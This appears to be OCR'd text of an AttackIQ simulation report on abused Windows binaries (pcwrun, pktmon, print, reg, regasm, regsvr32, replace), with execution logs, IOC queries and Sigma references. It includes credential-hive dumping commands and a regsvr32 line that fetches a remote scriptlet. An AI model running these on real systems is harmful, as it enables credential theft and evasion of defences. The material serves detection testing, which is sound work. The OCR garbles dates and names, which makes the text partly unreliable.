Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 11:43:35 am 03/01/2023 11:43:42 am
= Activity Details ~
M info A Warning @ Error 1 Advanced
M (03/01/2023 11:43:36 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp
\\JoLwxfzp81x3p\\pewrun.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp\\JoLwxfzp81x3p\\attackig-script-error-log-dd3834fd-acoc-4cof-ad4e-5d1e546ee69a. json’ |

2 (83/01/2623 11:43:42 am) Script output: "copying AIQ_file_creator.exe into C:\Users\Public

Sucessfully copied the file C:\Users\Public\AIQ_file_creator.exe.

Executing Pewrun.exe /../../\$(C:\Users\Public\AIQ_file_creator.exe).exe

Waiting 5 seconds prior to verify success

File C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt exists. The scenario will be marked as Not Prevented.
Removing C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt

Sucessfully removed C:\Users\administrator\AppData\lLocal\Temp\AIQ_File Creation_Dir\AIQ_Created_File_Output_86961518.txt

Sucessfully removed C:\Users\Public\AIQ_file_creator.exe.

I (83/01/2623 11:43:42 am) Script "pewrun.ps1” execution was successful

M (93/01/2623 11:43:42 am) Successfully executed script "pewrun.psi”

P (83/01/2023 11:43:50 am) Clean Up - File 'C:\Users\ADMINI~T\AppData\Local\Temp\JoLwxfzp81x3p\pcwrun.psi' to delete does not exist anymore.

(Click for Larger)
Scenario IOCs
[process:parent_ref.binary_ref.name LIKE '%\pcwrun.exe']

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

pcwrun.exe — msdt.exe

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

aiq_file_creator.exe

. W ai_exec_serverexe 2876 ¢2Process Create  C:\Program Files\Attack IQ\Agent\AiRunCommandAsUser.exe SUCCESS PID: 4572, Command line: "...

AiRunCommandAsUser exe 4572 <2 Process Start SUCCESS Parent PID: 2876, Comman..

. B AiRunCommandAsUser exe 4572 <D Process Create  C:\Program Files\AttackIQ\Agent \engine \py3\python exe SUCCESS PID: 6512, Command line: "
... Ppython exe 6512 <2 Process Statt SUCCESS Parent PID: 4572, Comman..
. Ppython exe 6512 <®Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 4032. Command line: C...
EM powershell exe 4032 ¢®Process Start SUCCESS Parent PID: 6512, Comman...

EM powershell exe 4032 ¢®Process Create  C:\Users\Public\AIQ_file_creator.exe SUCCESS PID: 7548, Command line: "...
W AlQ_file_creator exe 7548 <2 Process Start SUCCESS Parent PID: 4032, Comman...
- AIQ_file_creator exe 7548 2 Process Exit SUCCESS Exit Status: 0, User Time:
EXpowershell exe 4032 <®Process Create  C:\WINDOW S\system32\pcwrun exe SUCCESS PID: 2008. Command line: "...

I- powrun exe 2008 <2 Process Statt SUCCESS Parent PID: 4032. Comman...
pewrun exe 2008 ¢®Process Create  C:\WINDOW S\System32\msdt exe SUCCESS PID: 3680, Command line:C...
msdt.exe 3630 <2 Process Statt SUCCESS Parent PID: 2008, Comma
. M- pcwrun exe 2008 ¢ Process Exit SUCCESS Exit Status: 0, User Time:
. [#Emsdt exe 3680 2 Process Exit SUCCESS Exit Status: -1, User Time:
.. E¥powershell exe 4032 <2 Process Ext SUCCESS Exit Status: 0. User Time: 0....
¥ python exe 6512 ¢ Process Exit SUCCESS Exit Status: 0. User Time: 2....
.. '™ AiRunCommandAs User.exe 4572 < Process Exit SUCCESS Extt Status: 0. User Time: 0....

(Click for Larger)
Sigma Rules

» /rules/windows/process creation/proc creation win lolbin pcwrun.yml

Back to Top
Pktmon.exe

Binary description
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pktmon.exe is a command-line tool included in recent versions of Windows (starting from Windows 10) that allows users to
capture network traffic on their system. It is a lightweight packet monitoring tool that can capture and analyze network

traffic for troubleshooting and diagnostic purposes.

TTPs and tactics

o Credential Access: Network Sniffing (T1040)
o Discovery: Network Sniffing (T1040)

How do the adversaries use it?

An adversary with administrative access to a Windows system could use pktmon.exe to capture and analyze network traffic.
AttackIQ Scenarios

Network Sniffing using “pktmon.exe” Script

Description

In this scenario, the following actions will take place:

e The scenario will execute pktmon.exe start —etw
o The scenario will ping 10 times the localhost to generate some traffic

¢ The scenario will stop the capture.

If the pktetl.etl file exists, the scenario will be marked as not prevented. Else, it will be marked as prevented.

This scenario requires admin privileges.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 11:56:37 am 03/01/2023 11:56:51 am
i= Activity Details ~
M Info Warning @ Error 1 Advanced
¥ (3/01/2623 11:56:38 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.8\powershell.exe ['-ExecutionPolicy’, 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\vibXgbuf19_nj\\pkt_capture_with_pktmon.ps1’, '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\vibXgbuf19_nj\\attackig-script-error-log-2da8eb13-9051-4762-b3ac-46df3018ddab.json’ ]

F1 (03/61/2023 11:56:51 am) Script output: "Starting capture

Logger Parameters:
Logger name: PktMon

Logging mode: Circular
Log file: C:\Users\administrator\AppData\Local\Temp\vibXgbuf19_nj\PktMon.etl
Max file size: 512 MB
Memory used: 64 MB

Collected Data:
Packet counters, packet capture

(Click for Larger)
Scenario IOCs

[(process:binary_ref.name LIKE '%\pktmon.exe')]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

pktmon.exe
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225523 AiRunCommandAsUser exe
B AiRunCommandAs User exe

. E¥powershel exe

. E¥powershell exe

B PktMon.exe

. W PktMon.exe

:3... EMpowershellexe
. E¥powershell exe

- PktMon.exe

- PktMon exe

. EMpowershel exe

¥ python exe

AiRunCommandAsUser exe

AEAE Wt o e

(Click for Larger),

Sigma Rules
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2876 ¢2Process Create
2876 ¢®Process Create
2492 2 Process Stat
2492 «®Process Create
7544 «2Process Statt
7544 ¢ Process Create
9608 «2Process Statt
9608 <2 Process Create
1016 <2 Process Start
1016 <2 Process Exit
9608 <2 Process Create
9608 <2 Process Create
8792 <2 Process Statt
8792 < Process Ext
9608 <2 Process Extt
7544 ¢ Process Exit
2492 <2 Process Ext

a0 Bn__ P

C:\Program Files\Attack Q\Agent\ARunCommandAslUser.exe
C:\Program Files\Attack IQ\Agent\AiRunCommandAsUser.exe

C:\Program Files\Attack IQ\Agent\engine \py3\python.exe
C:\WINDOW S\System 32\WindowsPowerShell\v1.0\powershell exe
C:\WINDOW S\system32\PktMon exe

C:\WINDOW S\system32\PING EXE
C:\WINDOW S\system32'\PktMon.exe

Back to Top

Print.exe

Binary description

print.exe is the is a legitimate Windows executable that is used by Windows to send files to the printer.

TTPs and tactics

» Command and Control: Ingress Tool Transfer (T1105)

How do the adversaries use it?

Adversaries may use print.exe to copy a file into the system.

AttackIQ Scenarios

Copy a file using “print.exe” Script

Description

This scenario will execute the following command:

print.exe /D:$env:temp\$name helloworld.exe

The scenario will be marked as Not Prevented if the file is copied into the destination path.

Execution
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Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 12:14:40 pm 03/01/2023 12:14:46 pm
= Activity Details ~

M Info A Warning @ Error 1 Advanced

M (03/01/2023 12:14:42 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy’, 'bypass’, '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\TUNQs4vn97bts\\print.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\TUNQs4vn97bts\\attackig-script-error-log-f9276924-7142-4a0a-9c8c-7d1cafbo7f17. son' ]

1 (83/@1/2023 12:14:46 pm) Script output: "Executing print.exe /D:C:\Users\ADMINI~1\AppData\lLocal\Temp\aiq_binary WaAwK helloworld.exe
C:\Users\administrator\AppData\Local\Temp\TUNQs4vn97bts\helloworld.exe is currently being printed

Successfully copied helloworld.exe file into the C:\Users\ADMINI~1\AppData\local\Temp directory.

Successfully removed C:\Users\ADMINI~1\AppData\Local\Temp\aiq_binary_WaAwk

FI (03/01/2023 12:14:46 pm) Script "print.ps1” execution was successful

P (03/01/2023 12:14:46 pm) Successfully executed script "print.ps1”

M (83/01/2023 12:14:53 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\TUNQs4vn97bts\print.ps1' to delete does not exist anymore.
P (03/@1/2023 12:14:54 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\TUNQs4vn97bts' to delete does not exist anymore.

(Click for Larger),
Scenario IOCs

[((process:binary_ref.name LIKE '%\print.exe' AND process:command_line LIKE '%.exe%' AND process:command_line
LIKE '%/D%"'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

print.exe

. W ai_exec_serverexe 2876 ¢©Process Create  C:\Program Files\AttackIQ\Agent \AlRunCommandAslser exe SUCCESS PID: 7940, Command line: "...
AiRunCommandAs User exe 7940 o2 Process Start SUCCESS Parent PID: 2876, Comman.
... M- AiRunCommandAs User exe 7940 ¢®Process Create C:\Program Files\AttackIQ\Agent \engine'\py 3\python exe SUCCESS PID: 1092, Command line: "...
. Ppython.exe 1092 &2 Process Stat SUCCESS Parent PID: 7940, Comman.
Ppython.exe 1092 ¢®Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe SUCCESS PID: 8096, Command line: C...
EX powershel exe 8096 <2 Process Start SUCCESS Parent PID: 1092, Comma
powershel exe 8096 ¢CProcess Create C:\WINDOWS\system32\print exe SUCCESS PID: 9416, Command line
print.exe 9416 <2 Process Start SUCCESS Parent PID: 8096, Comma:
print.exe 9416 <2 Process Exit SUCCESS Exit Status: 0, User Time: 0....
. E¥powershell exe 8096 <2 Process Exit SUCCESS BExit Status: 0, User Time: 0...
. Ppython exe 1092 ¢ Process Extt SUCCESS Bxit Status: 0, User Time: 2....
. - ARunCommandAs User.exe 7940 2 Process Exit SUCCESS Exit Status: 0. User Time: 0....

(Click for Larger),
Sigma Rules

in order to detect this scenario you will need to remove the filter and the line CommandLine|startswith: 'print' on this

sigma rule:

e /rules/windows/process creation/proc creation win susp print.yml
Back to Top
Reg.exe

Binary description

Reg.exe is a command-line tool that is included with Microsoft Windows operating systems. It is used to manage the
Windows Registry, which is a hierarchical database that stores configuration settings and other information about the

operating system and installed software.
TTPs and tactics

o Credential Access: OS Credential Dumping: Security Account Manager (T1003.002)
How do the adversaries use it?

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through

in-memory techniques or through the Windows Registry where the SAM database is stored.
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AttackIQ Scenarios

Dump Registry Hives using “reg.exe” Script

Description

This scenario will attempt to dump the SECURITY, SYSTEM, and SAM hives from the registry by running:
reg.exe save HKLM\SECURITY security.bak
reg.exe save HKLM\SYSTEM system.bak
reg.exe save HKLM\SAM sam.bak

This scenario requires admin privileges.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 12:34:24 pm 03/01/2023 12:34:26 pm

i= Activity Details

M Info Warning @ Error [ Advanced

P (03/01/2023 12:34:24 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp

\\u6mnSqSbScswz\\dump_hives_using_reg.ps1’, '-ErrorLogFile’, 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp\\uémnSqsbScsw2\\attackiq-script-error-log-f9dsb24e-be22-4726-b2d2-dd469a38bea. json" |
FI (83/01/2023 12:34:26 pm) Script output: "Attempting to Dump SECURITY hive into security.bak
The operation completed successfully.

Successfully wrote security.bak file.
Attempting to Dump SYSTEM hive into system.bak
The operation completed successfully.

Successfully wrote system.bak file.
Attempting to Dump SAM hive into sam.bak
The operation completed successfully.

Successfully wrote sam.bak file.

(Click for Larger)
Scenario IOCs

[((process:binary_ref.name LIKE '%\reg.exe') AND (process:command_line LIKE '%\system%' OR
process:command_line LIKE '%\sam%' OR process:command_line LIKE '%\security%' OR process:command_line LIKE
'%\system%' OR process:command_line LIKE '%\system%' OR process:command_line LIKE '%\system%' OR
process:command_line LIKE '%\sam%' OR process:command_line LIKE '%\security%') AND (process:command_line LIKE
'%hk1lm%' OR process:command_line LIKE '%hkum%' OR process:command_line LIKE '%hkey_local_machine%' OR

process:command_line LIKE '%hkey_tocal_machine%' OR process:command_line LIKE '%hkey_loca._machine%' OR
process:command_line LIKE '%hkey_roca._machine%') AND (process:command_line LIKE '%save%' OR
process:command_line LIKE '%export%' OR process:command_line LIKE '%save%' OR process:command_line LIKE

'%export%'))]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

reg.exe
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. W ai_exec_serverexe 2876 ¢©Process Create  C:\Program Files\AttackIQ\Agent \AlRunCommandAsUser exe SUCCESS PID: 5128, Command line: "...

W ai_exec_server.exe 2876 2 Process Create  C:\Program Files\Attack IQ\Agent \AiRunCommandAsUser exe SUCCESS PID: 5640, Command line: *...
AiRunCommandAsUser.exe 5640 <2 Process Start SUCCESS Parent PID: 2876, Comman...
AiRunCommandAs User.exe 5640 ¢®Process Create C:\Program Files\AttackiQ\Agent \engine'\py 3\python exe SUCCESS PID: 9544, Command line: "...

P python.exe 9544 ¢ Process Statt SUCCESS Parent PID: 5640, Comman...

P python exe 9544 ¢2Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe SUCCESS PID: 1192, Command line: C

. E¥powershell exe 1192 2 Process Start SUCCESS Parent PID: 3544, Comman...

. EMpowershell exe 1192 ¢BProcess Create  C:\WINDOWS\system32\reg.exe SUCCESS PID: 8720, Command line: "...
2. Woregexe 8720 ¢2Process Statt SUCCESS Parent PID: 1192, Comman...
. Wregexe 8720 <2 Process Exit SUCCESS Exit Status: 0, User Time: 0....
:2... EMpowershel exe 1192 ¢®Process Create  C:\WINDOWS\system32\reg.exe SUCCESS PID: 6928, Command line: "...
W reg.exe 6928 ¢ Process Start SUCCESS Parent PID: 1192, Comman...

. Woregexe 6928 ¢ Process Exit SUCCESS Bxit Status: 0, User Time: 0....

. EMpowershel exe 1192 ¢®Process Create  C:\WINDOWS\system32\veg exe SUCCESS PID: 3796, Command line: "...

. Wregexe 3796 < Process Start SUCCESS Parent PID: 1192, Comman...

. Weregexe 3796 2 Process Exit SUCCESS Bxit Status: 0, User Time: 0....
:2... EMpowershel exe 1192 & Process Exit SUCCESS Exit Status: 0, User Time: 0....
Ppython exe 9544 ¢ Process Exit SUCCESS Exit Status: 0. User Time: 2....

. @ AiRunCommandAsUser.exe 5640 <2 Process Exit SUCCESS Exit Status: 0, User Time: 0....

(Click for Larger)

Sigma Rules

Back to Top
Regasm.exe

Binary description

Regasm.exe is a tool provided by Microsoft’s .NET Framework that is used to register .NET assemblies for use in COM
interop scenarios. COM (Component Object Model) is a technology used to enable communication between software

components on Windows-based systems.
TTPs and tactics
How do the adversaries use it?

regasm.exe may be used to bypass application control through use of attributes within the binary to specify code that should

be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively.

AttackIQ Scenarios

System Binary Proxy Execution using “regasm.exe” Script
Description
This scenario will register a custom DLL by executing:

regasm.exe %temp%\attackiq_regasm\library.dll

The DLL will create a file in the temporary directory when loaded. The scenario will be marked as Not Prevent if the file

exists.

This scenario requires admin privileges.

Execution
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Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected 03/01/2023 04:10:19 pm 03/01/2023 04:10:22 pm
i= Activity Details ~

P info Warning @ Error 3 Advanced

e (03/01/2023 04:10:26 pm) Command to be executed: C:\WINDOWS\system32\cmd.exe ['/c', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\wcDf8n2d6js72\\regasm.bat"]

FI (03/01/2023 04:10:22 pm) Script output: "

C:\Users\ADMINI~1\AppData\Local\Temp\wcDf@n2d6js72>nd C:\Users\ADMINI~1\AppData\Local\Temp\attackiq_regasm T>nul 2>&1 || goto :cleanup

C:\Users\ADMINI~T\AppData\Local\Temp\wcDf@n2d6js72>copy /y regasm.d1l C:\Users\ADMINI~1\AppData\local\Temp\attackiq_regasm\library.d1l 1>nul 2>&1 || goto :cleanup

C:\Users\ADMINI~1\AppData\Local\Temp\wcDf@n2d6js72>C:\Windows\Microsoft.NET\Framework\v4.6.36319\RegAsm.exe C:\Users\ADMINI~1\AppData\Local\Temp\attackiq_regasm\library.dll
Microsoft .NET Framework Assembly Registration Utility version 4.8.4084.0

for Microsoft .NET Framework version 4.8.4084.0

Copyright (C) Microsoft Corporation. ALl rights reserved.

The DLL has been successfully executed via RegisterClass
Types registered successfully

[ (00 /81 mA00 AAL4RAN amd Gaias 8

(Click for Larger)
Scenario I0OCs

[(((((process:command_line NOT LIKE '%\Regasm.exe"' AND process:command_line NOT LIKE '%\Regasm.exe' AND
process:command_line NOT LIKE '%\Regsvcs.exe"' AND process:command_line NOT LIKE '%\Regsvcs.exe')) AND
(process:command_line NOT LIKE '%.d11%')) AND ((process:binary_ref.name LIKE '%\Regsvcs.exe' OR
process:binary_ref.name LIKE '%\Regasm.exe'))) OR (((process:binary_ref.name LIKE '%\Regsvcs.exe' OR
process:binary_ref.name LIKE '%\Regasm.exe')) AND (process:command_line LIKE '%\Users\Public\\%' OR
process:command_line LIKE '%\AppData\Local\Temp\\%' OR process:command_line LIKE '%\Desktop\\%' OR
process:command_line LIKE '%\Downloads\\%' OR process:command_line LIKE '%\PerfLogs\\%' OR process:command_line
LIKE '%\Windows\Temp\\%' OR process:command_line LIKE '%\Microsoft\Windows\Start Menu\Programs\Startup\\%')))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — cmd.exe —

regasm.exe
. W ai_exec_server.exe 2876 <2 Process Create  C:\Program Files\Attack 1Q\Agent\AiRunCommandAsUser.exe SUCCESS PID: 1524, Command line: "
AiRunCommandAsUser exe 1524 ¢®Process Start SUCCESS Parent PID: 2876, Comman..
. W AiRunCommandAs User exe 1524 2 Process Create C:\Program Files\Attack IQ\Agent \engine \py3\python exe SUCCESS PID: 7524, Command line: "
. Ppython exe 7524 <2 Process Statt SUCCESS Parent PID: 1524, Comman..
7524 B Process Create C:\WINDOWS\system32\cmd exe SUCCESS PID: 7988. Command line: C...
7988 < Process Statt SUCCESS Parent PID: 7524, Comman...
7988 <P Process Create  C:\Windows\Microsoft. NET\Framework'\v4.0.30319\RegAsm.exe SUCCESS PID: 5808, Command line: C...
5808 < Process Statt SUCCESS Parent PID: 7988, Comman...
5808 < Process Ext SUCCESS Exit Status: 0, User Time: 0....
7988 ¢2Process Create  C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe SUCCESS PID: 6096, Command line: C...
6096 < Process Start SUCCESS Parent PID: 7988, Comman...
6096 ¢2Process Exit SUCCESS Exit Status: 0, User Time: 0....
7988 <2 Process Ext SUCCESS Exit Status: 0. User Time: 0....
P python exe 7524 <2 Process Ext SUCCESS Exit Status: 0. User Time: 2....
7:10:2... W AiRunCommandAsUser exe 1524 ¢2Process Ext SUCCESS Exit Status: 0. User Time: 0....

(Click for Larger),

Sigma Rules

Back to Top

RegSvr32.exe

Binary description

Regsvr32 is a Windows command-line utility that is used to register and unregister Dynamic Link Libraries (DLLs) and

ActiveX Controls in the Windows Registry.

TTPs and tactics
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How do the adversaries use it?

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded
by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal
operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM
scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be
loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation.
This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of

the technique is often referred to as a “Squiblydoo” and has been used in campaigns targeting governments.
AttackIQ Scenarios

Application Bypass using “regsvr32.exe” Script
Description

This scenario will execute the following command:

regsvr32.exe /s /n /u /i:https://malware.scenarios.attackig-ntm.com/regsvr32/regsvr32.xml scrobj.dll
regsvr32.xml is a XML file that contains a JScript code that will execute a custom binary.
This binary will create a file in the TEMP directory.

The scenario will verify if the file exists and mark the scenario as not prevented. If the file does not exist, the scenario will

be marked as prevented.

This variation of the T1218.010 technique is often referred to as a “Squiblydoo” and has been used in campaigns targeting

governments.
Execution
Phases
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 03:31:48 pm 03/01/2023 03:31:55 pm
:= Activity Details ~
™ Info Waming @ Error 1 Advanced
P (03/01/2023 ©3:31:49 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass’', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\zqrHjrtvs3equ\\regsvr32.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\zqrHjrtvs3equ\\attackig-script-error-log-fadf251c-39a4-4d9e-83b1-5d7fec579d3a. json"

FI (93/01/2623 03:31:55 pm) Script output: "Executing regsvr32.exe /s /n /u /i:https://malware.scenarios.attackiq-ntm.com/regsvr32/regsvra2.xnl scrobj.dll
Waiting § seconds prior to verify success

File C:\Users\administrator\AppData\Local\Temp\AIQ_File Creation_Dir\AIQ_Created_File Output_86961518.txt exists. The scenario will be marked as Not Prevented.
Removing C:\Users\administrator\AppData\lLocal\Temp\AIQ_File _Creation_Dir\AIQ_Created_File Output_86961518.txt

Sucessfully removed C:\Users\administrator\AppData\Local\Temp\ATQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt

F1 (03/@1/2023 03:31:55 pm) Script "regsvr32.ps1” execution was successful

P (03/01/2023 83:31:55 pm) Successfully executed script "regsvr32.ps1”

P (03/1/2023 ©3:32:06 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\zqrHjrtvs3@qu\regsvr32.ps1’ to delete does not exist anymore.
M (83/61/2023 ©3:32:06 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\zqrHjrtvs38qu’ to delete does not exist anymore.

(Click for Larger)
Execute DLL Through RegSvr32
Description

Process blacklisting is one of the most effective techniques to mitigate many threats. Therefore, being able to subvert such

defensive strategy is key for any attacker. The regsvr32 technique is used to bypass these type of defenses.

The regsvr32 Windows utility is used to register COM (Common Object Model) DLLs. This utility receives a DLL which is
the one that will be registered. Upon regsvr32 execution, the exported DIIRegisterServer function from the DLL will be
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automatically executed.

Through the execution of this legitimate regsvr32 Windows utility an attacker can execute arbitrary code while bypassing

most binary white and black listing strategies.

This scenario will execute the regsrv32 utility in order execute the DLL that will be registered. Through regsvr32, this DLL

will execute its DIIRegisterServer function that will create a random file in the Windows temporary directory.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Execute DLL Through RegSvr32 Critical Not Prevented Not Detected - 03/01/2023 03:31:16 pm 03/01/2023 03:31:21 pm

Detailed Findings:
Successfully executed regsvr32.exe which executed DLL "regsvr32_dll_x86.dII" that created a temporary file named "attackiq_regsvr32_dll_output.log"

= Activity Details ~

M Info Warning @ Error [ Advanced

F1 (03/61/2023 03:31:21 pm) DLL output file "C:\Windows\Temp\attackiq_regsvr32_d1l output.log" was found in the system
F1 (03/61/2023 03:31:21 pm) DLL output file was recently modified. It is assumed it was modified in the current scenario execution
M (03/61/2023 03:31:21 pm) Successfully leveraged RegSvr32 to execute arbitrary code from DLL "regsvr32_dll_x86.d11""

(Click for Larger),
Scenario IOCs

[((((process:binary_ref.name LIKE '%\cscript.exe' OR process:binary_ref.name LIKE '%\wscript.exe') AND
process:parent_ref.binary_ref.name LIKE '%\regsvr32.exe') OR ((process:command_line LIKE '%.jpg' OR
process:command_line LIKE '%.jpeg' OR process:command_line LIKE '%.png' OR process:command_line LIKE '%.gif' OR
process:command_line LIKE '%.bin' OR process:command_line LIKE '%.tmp"' OR process:command_line LIKE '%.temp' OR
process:command_line LIKE '%.txt') AND process:binary_ref.name LIKE '%\regsvr32.exe') OR ((process:command_line
LIKE "%\AppData\lLocal%' OR process:command_line LIKE '%C:\Users\Public%') AND process:binary_ref.name LIKE
'%\regsvr32.exe') OR ((process:parent_ref.binary_ref.name LIKE '%\powershell.exe' OR
process:parent_ref.binary_ref.name LIKE '%\pwsh.exe' OR process:parent_ref.binary_ref.name LIKE
"%\powershell_ise.exe') AND process:binary_ref.name LIKE '%\regsvr32.exe') OR (process:binary_ref.name LIKE
"%\EXCEL.EXE"' AND process:command_line LIKE '%..\..\..\Windows\System32\regsvr32.exe %') OR
(process:binary_ref.name LIKE '%\regsvr32.exe' AND process:command_line LIKE '%/i:%' AND process:command_line
LIKE '%ftp%' AND process:command_line LIKE '%scrobj.dll') OR (process:binary_ref.name LIKE '%\regsvr32.exe' AND
process:command_line LIKE '%/i:%' AND process:command_line LIKE '%http%' AND process:command_line LIKE
'%scrobj.dll') OR (process:binary_ref.name LIKE '%\regsvr32.exe' AND process:command_line LIKE '%\Temp\\%') OR
(process:binary_ref.name LIKE '%\regsvr32.exe' AND process:parent_ref.binary_ref.name LIKE '%\cmd.exe') OR
(process:binary_ref.name LIKE '%\regsvr32.exe' AND process:parent_ref.binary_ref.name LIKE '%\mshta.exe')) AND
(((process:command_line NOT LIKE '%\AppData\lLocal\Microsoft\Teams%' AND process:command_line NOT LIKE
"%\AppData\Local\WebEx\WebEx64\Meetings\atucfobj.d11%"')) AND (process:command_line NOT LIKE '%/s
C:\Windows\System32\RpcProxy\RpcProxy.d11') AND (process:command_line NOT LIKE '%\Program
Files\Box\Box\Temp\\%' OR process:parent_ref.binary_ref.name != "C:\Program Files\Box\Box\FS\streem.exe')))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — regsvr32.exe
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6:31:0... W ai:exec:sefver exe
6:31:0. AiRunCommandAsUser exe
AiRunCommandAsUser exe

6:31:2... W AiRunCommandAsUser exe

(Click for Larger),
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2876 <2 Process Create
2784 ¢ Process Start
2784 ¢2Process Create
332 P Process Start
332 ¢®Process Create
8360 ¢ Process Statt
8360 < Process Create
8360 ¢ Process Exit
332 ¢®Process Exit
2784 ¢2Process Exit

C \Pmara'n Files\AttackIQ \P«;entWRwCommandAsUser,exe

C:\Program Files\Attack IQ\Agent'engine \py3\python exe

C:\Windows\System32\regsvr32 exe

C:AWINDOWS\SysWOW64\regsvr32.exe

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 2784, Command line: "
Parent PID: 2876, Comman...
PID: 332, Command line: "C...
Parent PID: 2784, Comman..
PID: 8360, Command line: C...
Parent PID: 332, Command ...
PID: 1564, Command line: -..
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 3.
Exit Status: 0, User Time: 0...

ai_exec_server.exe —» AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

regsvr32.exe — aiq_binary_file_creation.exe

ai
AiRunCommandAs User exe
AiRunCommandAsUser exe

4... EMpowershel exe
EMpowershel exe

W regsvri2.exe

regsvri2.exe
aiq_binary_file_creation exe
regsvr32.exe
aiq_binary_file_creation exe
powershell exe

'python.exe

- AiRunCommandAs User exe

(Click for Larger)

Sigma Rules

Back to Top
Replace.exe

Binary description

2876 <2 Process Create
8072 <2 Process Statt
8072 ¢ Process Create
6720 ¢2Process Statt
6720 «2Process Create
7592 <2 Process Start
7592 <2 Process Create
8664 ¢ Process Statt
8664 <2 Process Create
589 <2 Process Stat
8664 ¢2Process Ext
5896 ¢2Process Exit
7592 ¢2Process Exit
6720 <2 Process Extt
8072 <®Process Exit

c \Pmaran Files\ﬁttad(IQ\P;ent\AiRchmmandAsUser,exe
C:\Program Files\Attack IQ\Agent'\engine \py3\python exe

C:\WINDOWS\System 32\WindowsPowerShell\v1.0\powershell exe

C:\WINDOWS\system32\regsvr32.exe

C:\Users\administrator\App Data\Local\Temp‘\zqrHjtvs30qu\aiq_binary_file_crea...

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 8072, Command line: "
Parent PID: 2876, Comman..
PID: 6720, Command line: "
Parent PID: 8072, Comman..
PID: 7592, Command line: C...
Parent PID: 6720, Comman...
PID: 8664, Command line: ".
Parent PID: 7592, Comman...
PID: 5896, Command line:
Parent PID: 8664, Comman...
Exit Status: 5, User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 3....
Exit Status: 0. User Time: 0....

“replace.exe” is a command-line utility in Windows that is used to replace one or more files with another file. The utility is

commonly used to automate file replacement tasks or to replace files in batch scripts.

TTPs and tactics

» Command and Control: Ingress Tool Transfer (T1105)

How do the adversaries use it?

Adversaries may use print.exe to copy a file into the system.

AttackIQ Scenarios
